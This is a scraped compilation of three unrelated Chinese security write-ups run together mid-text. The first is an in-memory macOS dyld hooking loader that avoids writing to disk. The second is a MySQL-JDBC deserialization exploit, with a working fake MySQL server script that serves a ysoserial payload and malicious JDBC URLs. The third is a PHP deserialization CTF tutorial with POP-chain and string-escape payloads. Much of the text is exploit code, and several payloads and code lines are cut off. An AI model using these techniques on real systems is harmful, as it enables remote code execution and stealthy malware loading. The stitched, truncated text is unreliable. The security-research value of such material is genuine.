patchAddr = base + i;            break;       }   }   ... 当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。 kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY); if (kret != KERN_SUCCESS) {    return FALSE; } 注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。 设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。 // Copy our path memcpy(patchAddr, patch, sizeof(patch)); // Set the br address for our hook call *(void **)((char*)patchAddr + 16) = target; // Return exec permission kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC); if (kret != KERN_SUCCESS) { return FALSE; } 现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。 由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。 那么,既然如此,我们该如何处理我们的hook程序呢? API模拟调用 有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。 如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。 首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。 如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。 #define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-" const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {    char *alloc;    char filePath[PATH_MAX];    int newFlags;        memset(filePath, 0, sizeof(filePath));        // Check if the file is our "in-memory" file    if (fcntl(fd, F_GETPATH, filePath) != -1) {        if (strstr(filePath, FILENAME_SEARCH) > 0) {                        newFlags = MAP_PRIVATE | MAP_ANONYMOUS;            if (addr != 0) {                newFlags |= MAP_FIXED;           }                        alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);            memcpy(alloc, memoryLoadedFile+offset, len);            vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);            return alloc;       }   }        // If for another file, we pass through    return mmap(addr, len, prot, flags, fd, offset); } 接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。 ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { memcpy(buf, memoryLoadedFile+offset 最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。 由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。 int hookedFcntl(int fildes, int cmd, void* param) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fildes, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { if (cmd == F_ADDFILESIGS_RETURN) { fsignatures 有了以上这些,然后我们可以把这一切组合起来。 int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {    @autoreleasepool {        char *dyldBase;        int fd;        int size;        void (*function)(void);        NSObjectFileImage fileImage;                // Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/        size = readFile("/tmp/loadme", &memoryLoadedFile);        dyldBase = getDyldBase();        searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);        searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);        searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);                // Set up blank content, same size as our Mach-O        char *fakeImage = (char *)malloc(size);        memset(fakeImage, 0x41, size);                // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image        fileImage = (NSObjectFileImage)malloc(1024);        *(void **)(((char*)fileImage+0x8)) = fakeImage;        *(void **)(((char*)fileImage+0x10)) = size;                void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);        void *symbol = NSLookupSymbolInModule(module, "runme");        function = NSAddressOfSymbol(symbol);        function();   } } 当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。 但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。 其他 所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。 事实证明,这个想法是正确的。比如: void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW); function = dlsym(a, "runme"); function(); 而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。 这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。
MySQL-JDBC反序列化分析
0x01 前言 听师傅们说这条链子用的比较广泛,所以最近学一学,本来是想配合着 tabby 或是 codeql 一起看的,但是 tabby 的环境搭建一直有问题,耽误了很久时间,所以就直接看了。 0x02 JDBC 的基础 本来不太想写这点基础的,但想了想觉得还是要补一点。 JDBC 对数据库的操作一般有以下步骤: 1、导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.* 就足够了。 2、注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。 3、建立连接:需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。 4、执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。 5、清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。 例如创建一个数据库 // 步骤 1. 导入所需的软件包 import java.sql.*; public class JDBCExample {   // JDBC 驱动程序名称和数据库 URL   static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";     static final String DB_URL = "jdbc:mysql://localhost/";   // 数据库凭证   static final String USER = "username";   static final String PASS = "password";     public static void main(String[] args) {   Connection conn = null;   Statement stmt = null;   try{      // 步骤 2:注册 JDBC 驱动程序      Class.forName("com.mysql.jdbc.Driver");      // 步骤 3:建立连接      System.out.println("Connecting to database...");      conn = DriverManager.getConnection(DB_URL, USER, PASS);      // 步骤 4:执行查询      System.out.println("Creating database...");      stmt = conn.createStatement();            String sql = "CREATE DATABASE STUDENTS";      stmt.executeUpdate(sql);      System.out.println("Database created successfully...");   }catch(SQLException se){      // 处理 JDBC 错误      se.printStackTrace();   }catch(Exception e){      // 处理 Class.forName 的错误      e.printStackTrace();   }finally{      // 用于关闭资源      try{         if(stmt!=null)            stmt.close();     }catch(SQLException se2){           }      try{         if(conn!=null)            conn.close();     }catch(SQLException se){         se.printStackTrace();     }   }// 结束 try   System.out.println("Goodbye!"); }// 结束 main }// 结束 JDBCExample 这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用 正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了 0x03 漏洞分析 漏洞原理 如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。 具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。 可被利用的两条查询语句: SHOW SESSION STATUS SHOW COLLATION 链子 pom.xml <dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId>    <version>3.2.1</version>   </dependency>   <dependency>    <groupId>mysql</groupId>    <artifactId>mysql-connector-java</artifactId>    <version>8.0.13</version>   </dependency> CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject() 方法调用了 readObject() 方法 JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在 ResultSetImpl 这个类中。 所以这个类不满足用户可控输入这一点,所以我们应该要去找谁调用了 ResultSetImpl#getObject() 根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject(),并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析) ResultSetUtil 这个类是用来处理一些测试实例的结果,或者是 profiler 的结果。简而言之还是用来做数据处理的类,继续往上看谁调用了它。 最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap 44ServerStatusDiffInterceptor 是一个拦截器,在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头。 看一下 populateMapWithSessionStatusValues 方法的代码 先建立了 JDBC 的连接,并创建查询,查询语句是 SHOW SESSION STATUS,接着调用 ResultSetUtil.resultSetToMap,完成查询并封装查询结果。 漏洞复现 之前看 Y4tacker 师傅的文章时,发现有提到是直接用 python 脚本打,里面有很多数据,但是这个 ”打“ 肯定不是空穴来风的,所以需要再明确一下攻击思路。 环境搭建可能会踩坑,若有师傅踩坑了可以滴我一下 我们需要先伪造数据包,并用 wireshark 抓包,观测一下流量,编写 Test 类内容如下 import java.sql.*;     public class Test {      public static void main(String[] args) throws Exception {          Class.forName("com.mysql.jdbc.Driver");          String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +                  "&autoDeserialize=true" +                  "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";          Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");     }   } 通过 tcp.port == 3306 && mysql 来过滤协议 我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OK 、Response Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等,我们逐个来分析。 首先是 greeting 数据包 这里发送 greeting 数据包之后需要发送 Login 请求,Login 请求里面包含了 user 和 db 以及 password,在这之后才会返回 Response OK 的数据包 Login 的请求包在发送完 greeting 包之后会自动发送,所以我们只需要发送一段 greeting 数据包,返回一段 Response OK 数据包即可,Response OK 包如下 继续往下,需要编写四个 Request Query 包的 Response 包后,才是 SHOW SESSION STATUS 响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来 如此,构造出最后的 fake MySQL 服务端 import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn):    data = conn.recv(1024)    print("[*] Receiveing the package : {}".format(data))    return str(data).lower() def send_data(conn,data):    print("[*] Sending the package : {}".format(data))    conn.send(binascii.a2b_hex(data)) def get_payload_content():    #file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a    file= r'a'    if os.path.isfile(file):        with open(file, 'rb') as f:            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')        print("open successs")    else:        print("open false")        #calc        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e6    return payload_content # 主要逻辑 def run():    while 1:        conn, addr = sk.accept()        print("Connection come from {}:{}".format(addr[0],addr[1]))        # 1.先发送第一个 问候报文        send_data(conn,greeting_data)        while True:            # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok            receive_data(conn)            send_data(conn,response_ok_data)            #其他过程            data=receive_data(conn)            #查询一些配置信息,其中会发送自己的 版本号            if "session.auto_increment_increment" in data:                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e                send_data(conn,_payload)                data=receive_data(conn)            elif "show warnings" in data:                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a65                send_data(conn, _payload)                data = receive_data(conn)            if "set names" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "set character_set_results" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "show session status" in data:                mysql_data = '0100000102'                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'                # 为什么我加了EOF Packet 就无法正常运行呢??                #获取payload                payload_content=get_payload_content()                #计算payload长度                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)                payload_length_hex = payload_length[2:4] + payload_length[0:2]                #计算数据包长度                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex                mysql_data += str(payload_content)                mysql_data += '07000005fe000022000100'                send_data(conn, mysql_data)                data = receive_data(conn)            if "show warnings" in data:                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e2053544                send_data(conn, payload)            break if __name__ == '__main__':    HOST ='0.0.0.0'    PORT = 3309    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    sk.bind((HOST, PORT))    sk.listen(1)    print("start fake mysql server listening on {}:{}".format(HOST,PORT))    run() 在本地运行,并运行 JDBC 的连接代码 再来看 Fake MySQL 服务端这边的响应,是能收到包,并且发包的;相当清晰 调试分析 在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点,开始调试分析 往下跟,先运行查询语句 SHOW SESSION STATUS,接着调用了 ResultSetUtil.resultSetToMap() ResultSetUtil.resultSetToMap() 调用了 getObject() 方法,第一处调用 getObject() 方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面。 在调用 getObject() 方法中,判断 MySQL 的类型为 BLOB 后,就从 MySQL 服务端中获取对应的字节码数据 从 MySQL 服务端获取到字节码数据后,判断 autoDeserialize 是否为 true、字节码数据是否为序列化对象等,最后调用 readObject() 触发反序列化漏洞 不同 MySQL-JDBC-Driver 的 payload 8.x 如上述 Demo: "jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +          "&autoDeserialize=true" +      "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; 6.x 属性名不同,queryInterceptors 换为 statementInterceptors jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor >=5.1.11 包名中没有cj jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 5.x <= 5.1.10 同上,但需要连接后执行查询。 5.1.29 - 5.1.40 jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true 5.1.28 - 5.1.19 jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true 0x04 小结 总体来说还是比较简单的一条链子,但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。
PHP反序列化新手入门学习总结
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。 php反序列化简单理解 首先我们需要理解什么是序列化,什么是反序列化? PHP序列化:serialize() 序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。 而PHP反序列化:unserialize() 反序列化是将字符串转换成变量或对象的过程 通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化 说这么多不如直接一点测试一下 php序列化的字母标识 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string N - NULL 测试一下 <?php   class TEST{   public $test1="11";   private $test2="22";   protected $test3="33";   public function test4()   {   echo $this->test1;   }   }   $a=new TEST();   echo serialize($a);   //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";} O代表类,然后后面4代表类名长度,接着双引号内是类名 然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推} protected 和private其实是有不可打印字符的,所以这里附上截图 从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写 有时候做题时为了防止传参中有啥意外,一般就会urlencode一下 什么是魔术方法? 做php反序列化的题总会遇到魔术方法 其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作 举个例子如下,这里用常见的construct和destruct魔术方法,其实就是构造函数和析构函数 <?php   class A{   public $a="这里是__construct";   public function __construct()   {   echo $this->a;   }   public function __destruct()   {   echo $this->a="这里是__destruct";   }   }   $a=new A();   //输出这里是construct这里是destruct 后边的题中也会给一些测试魔术方法的例子 想买给出魔术方法触发的情况,这对解题有很大帮助 __construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 对不存在的方法或者不可访问的方法进行调用就自动调用 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发 光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家。 简单的反序列化题 题目来自[SWPUCTF 2021 新生赛]ez_unserialize <?php   error_reporting(0);   show_source("cl45s.php");   class wllm{   public $admin;   public $passwd;   public function __construct(){   $this->admin ="user";   $this->passwd = "123456";   }   public function __destruct(){   if($this->admin === "admin" && $this->passwd === "ctf"){   include("flag.php");   echo $flag;   }else{   echo $this->admin;   echo $this->passwd;   echo "Just a bit more!";   }   }   }   $p = $_GET['p'];   unserialize($p);   ?> 在construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag php反序列化是可以控制类方法的属性但不能改类方法的代码 于是我们直接更改就行, <?php   class wllm{   public $admin;   public $passwd;   public function __construct(){   $this->admin ="admin";   $this->passwd = "ctf";   }   }   $a=new wllm();   echo urlencode(serialize($a));   ?> 然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。 __wakeup绕过 这个其实是个CVE,CVE-2016-7124 影响版本php5<5.6.25,php7<7.010 简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 而魔术方法__wakeup执行unserialize()时,先会调用这个函数 写个代码本地测试一下 <?php   class A{   public $a;   public function __construct()   {   $this->a="触发__construct";   }   public function __wakeup()   {   $this->a="触发__wakeup";   }   public function __destruct()   {   echo $this->a;   }   }   $a=new A();   echo serialize($a); O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下 反序列化一下,输出触发__wakeup O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2 触发__construct,绕过了wakeup [极客大挑战 2019]PHP __wakeup()绕过 <?php   include 'class.php';   $select = $_GET['select'];   $res=unserialize(@$select); <?php   include 'flag.php';   error_reporting(0);   class Name{   private $username = 'nonono';   private $password = 'yesyes';   public function __construct($username,$password){   $this->username = $username;   $this->password = $password;   }   function __wakeup(){   $this->username = 'guest';   }   function __destruct(){   if ($this->password != 100) {   echo "</br>NO!!!hacker!!!</br>";   echo "You name is: ";   echo $this->username;echo "</br>";   echo "You password is: ";   echo $this->password;echo "</br>";   die();   }   if ($this->username === 'admin') {   global $flag;   echo $flag;   }else{   echo "</br>hello my friend~~</br>sorry i can't give you the flag!";   die();   }   }   } 看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest; 这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看 //$a=new Name('admin','100');   //echo urlencode(serialize($a));   //echo serialize($a);   $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";   var_dump(unserialize(urldecode($b))); 那么修改对象个数为大于2 O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D 得到flag POC <?php     class Name{   private $username = 'admin';   private $password = '100';   public function __construct($username,$password){   $this->username = $username;   $this->password = $password;   }   }   $a=new Name('admin','100');   echo urlencode(serialize($a));   //echo serialize($a);   //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D   ?> 反序列化逃逸问题 逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞 所以会有两种情况,一种是由长变短,一种是由短变长 由长变短 自己随手写个题测试下 <?php   highlight_file(__FILE__);   class A   {   public $a;   public $b;   public $c;   public function __construct()   {   $this->a=$_GET['a'];   $this->b="noflag";   $this->c=$_GET['c'];   }   public function check()   {   if ($this->b==="123")   {   echo "flag{123dddd}";   }   else if ($this->a==="test")   {   echo "give you flag";   }   else   {   echo "no flag";   }   }   public function __destruct()   {   $this->check();   }   }   $a=new A();   $b=serialize($a);   $c=str_replace("aa","b",$b);   unserialize($c); 这里本地写一个测试简单利用下,学会这个逃逸思路即可 $b=serialize($a);   echo $b;   $c=str_replace("aa","b",$b);   echo($c);   //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}   //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";} 这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag, $this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉 开始构造 然后计算要吞噬掉多少位 print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))   print(36*'aa')   //35   //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa a=36个aa,c=;s:1:"b";s:3:"123 这样构造出来为 O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";} bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17: print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:')) 刚好为72个,成功反序列化,得到flag 由短变长 题目来自ctfshowWEB262 index.php <?php   error_reporting(0);   class message{   public $from;   public $msg;   public $to;   public $token='user';   public function __construct($f,$m,$t){   $this->from = $f;   $this->msg = $m;   $this->to = $t;   }   }   $f = $_GET['f'];   $m = $_GET['m'];   $t = $_GET['t'];   if(isset($f) && isset($m) && isset($t)){   $msg = new message($f,$m,$t);   $umsg = str_replace('fuck', 'loveU', serialize($msg));   setcookie('msg',base64_encode($umsg));   echo 'Your message has been sent';   }   highlight_file(FILE); 从题目注释里可以找到message.php message.php源码 <?php   highlight_file(__FILE__);   include('flag.php');   class message{   public $from;   public $msg;   public $to;   public $token='user';   public function __construct($f,$m,$t){   $this->from = $f;   $this->msg = $m;   $this->to = $t;   }   }   if(isset($_COOKIE['msg'])){   $msg = unserialize(base64_decode($_COOKIE['msg']));   if($msg->token=='admin'){   echo $flag;   }   } 很明显,要想得到flag要把token值更改为admin 但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下 <?php class test { public $username="fuckfuck"; public $password; } $a=new test(); //echo serialize($a); echo str_replace('fuck','loveU',serialize($a)); //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;} //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;} 可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了 因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位 那么需要27个fuck就行 payload ?f=1 &m=1 &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} 然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路 POP链构造 做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下 [SWPUCTF 2021 新生赛]pop 题目源码 <?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } POP链入手,先找关键代码,然后推断 需要admin为w44m,passwd为08067 才能得到flag if($this->admin === 'w44m' && $this->passwd ==='08067'){ echo $flag; 发现可以利用$this->w00m->{$this->w22m}(); 这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了 在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法 前面魔术方法提到 __toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m, 链子构造为 w22m::__destruct->w33m::toString->w44m::getflag poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符 <?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m=""; public $w22m="getflag"; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w0 [NISACTF 2022]babyserialize <?php   include "waf.php";   class NISA{   public $fun="show_me_flag";   public $txw4ever;   public function __wakeup()   {   if($this->fun=="show_me_flag"){   hint();   }   }   function __call($from,$val){   $this->fun=$val[0];   }   public function __toString()   {   echo $this->fun;   return " ";   }   public function __invoke()   {   checkcheck($this->txw4ever);   @eval($this->txw4ever);   }   }   class TianXiWei{   public $ext;   public $x;   public function __wakeup()   {   $this->ext->nisa($this->x);   }   }   class Ilovetxw{   public $huang;   public $su;   public function __call($fun1,$arg){   $this->huang->fun=$arg[0];   }   public function __toString(){   $bb = $this->su;   return $bb();   }   }   class four{   public $a="TXW4EVER";   private $fun='abc';   public function __set($name, $value)   {   $this->$name=$value;   if ($this->fun = "sixsixsix"){   strtolower($this->a);   }   }   }   if(isset($_GET['ser'])){   @unserialize($_GET['ser']);   }else{   